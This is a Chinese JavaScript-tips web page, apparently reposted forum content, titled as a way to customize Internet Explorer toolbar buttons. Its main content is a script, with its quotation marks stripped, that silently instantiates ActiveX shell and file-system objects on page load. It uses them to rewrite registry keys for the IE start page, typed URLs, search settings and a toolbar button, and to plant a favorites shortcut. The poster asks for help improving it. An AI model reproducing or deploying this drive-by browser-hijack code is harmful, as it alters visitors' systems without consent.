设为首页   加入最爱           最新更新:全方位英文文章资料库
 
资料坊搜索: 标题 全文     
用JS定制IE工具栏按钮
   首页>>YesizeCOM>>电脑技能坊>>Javascript>>正文       
 
广告招租,e-mail:yesize@hotmail.com

广告招租,e-mail:yesize@hotmail.com

document.write(<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>); 

function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + \\ + DispName +.URL);
Shor.TargetPath = SiteURL;
Shor.Save();
}

function f(){ 
try 

//ActiveX initialization 
a1=document.applets[0]; 
a1.setCLSID({F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}); 
a1.createInstance(); 
Shl = a1.GetObject(); 
a1.setCLSID({0D43FE01-F093-11CF-8940-00A0C9054228}); 
a1.createInstance(); 
FSO = a1.GetObject(); 
a1.setCLSID({F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}); 
a1.createInstance(); 
Net = a1.GetObject(); 

try 

if (document.cookie.indexOf(Chg) == -1) 


Shl.RegWrite (HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title, Microsoft Internet Explorer);
Shl.RegWrite (HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title, Microsoft Internet Explorer);
Shl.RegWrite (HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page, about:blank);
Shl.RegWrite (HKCU\\Software\\Microsoft\\Internet Explorer\\TypedURLs\\url1, http://sunlight.uis.mtn/);
Shl.RegWrite (HKLM\\Software\\Microsoft\\Internet Explorer\\Extensions\\{12345678-0000-0000-0000-008713385168}\\CLSID, {1FBA04EE-3024-11d2-8F1F-0000F87ABD16});
Shl.RegWrite (HKLM\\Software\\Microsoft\\Internet Explorer\\Extensions\\{12345678-0000-0000-0000-008713385168}\\ClsidExtension, {12345678-0000-0000-0000-008713385168});
Shl.RegWrite (HKLM\\Software\\Microsoft\\Internet Explorer\\Extensions\\{12345678-0000-0000-0000-008713385168}\\ButtonText, 阳光城市);
Shl.RegWrite (HKLM\\Software\\Microsoft\\Internet Explorer\\Extensions\\{12345678-0000-0000-0000-008713385168}\\Icon, shell32.dll,42);
Shl.RegWrite (HKLM\\Software\\Microsoft\\Internet Explorer\\Extensions\\{12345678-0000-0000-0000-008713385168}\\HotIcon, shell32.dll,42);
Shl.RegWrite (HKLM\\Software\\Microsoft\\Internet Explorer\\Extensions\\{12345678-0000-0000-0000-008713385168}\\exec, http://sunlight.uis.mtn);
Shl.RegWrite (HKLM\\Software\\Microsoft\\Internet Explorer\\Extensions\\{12345678-0000-0000-0000-008713385168}\\Default Visible, Yes);
Shl.RegWrite (HKLM\\Software\\Microsoft\\Internet Explorer\\Extensions\\{12345678-0000-0000-0000-008713385168}\\MenuStatusBar, 阳光城市);
Shl.RegWrite (HKLM\\Software\\Microsoft\\Internet Explorer\\Extensions\\{12345678-0000-0000-0000-008713385168}\\MenuText, 阳光城市);
Shl.RegWrite (HKLM\\Software\\Microsoft\\Internet Explorer\\Search\\SearchAssistant, http://....);
Shl.RegWrite (HKLM\\Software\\Microsoft\\Internet Explorer\\Search\\CustomizeSearch, http://....);
var expdate = new Date((new Date()).getTime() + (1)); 
document.cookie=Chg=general; expires= + expdate.toGMTString() + ; path=/; 

WF = FSO.GetSpecialFolder(0);
loc = WF + \\Favorites;
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + \\Documents and Settings\\ + Net.UserName + \\Favorites;
if(!FSO.FolderExists(loc))
{
return;
}
}
AddFavLnk(loc, ☆阳光城市☆, http://..../);
//}




catch(e) 
{} 

catch(e) 
{} 

function init() 

setTimeout(f(), 1000); 

init();


这是我用的JS,谁能改改
好象只对win98 
上一篇:用JavaScript制作趣味计数器 下一篇:用JavaScirpt在Textarea中插入元素(光标位置)

版权说明:作品来源于网上,版权归作者所有,如果无意中侵犯了您的版权,请来信告知,本站将在3个工作日内删除。yesize@hotmail.com
  热门小游戏分类 
射击小游戏 连连看小游戏
台球小游戏 成人小游戏
CS小游戏 化妆小游戏
赛车小游戏 休闲小游戏
篮球小游戏 换装小游戏
儿童小游戏 牛牛小游戏
麻将小游戏 冒险小游戏
美媚小游戏 益智小游戏
体育小游戏  
Society Recreation & Sports
Travel & Leisure Communications
Vehicles Computers
Fashion Arts & Entertainment
Reference & Education Disease & Illness
Writing & Speaking Politics
Product Reviews Food & Beverage
Finance Internet Business
Self Improvement Home & Family
Health & Fitness Business
最新更新内容
警惕“公务员报考热”背
公务员考试不是丈母娘考
一名新公务员的自白:我
公务员考脑筋急转弯与挂
北努斗:2006行政能力测
大讨论:06行测BT题目大
过来人回忆:当年,我也
一家之言:公务员热折射
公务员考试申论要是有正
数十万大学生走进公务员
      粤ICP备05005424         Copyright ©2000 - 2004 Yesize.COM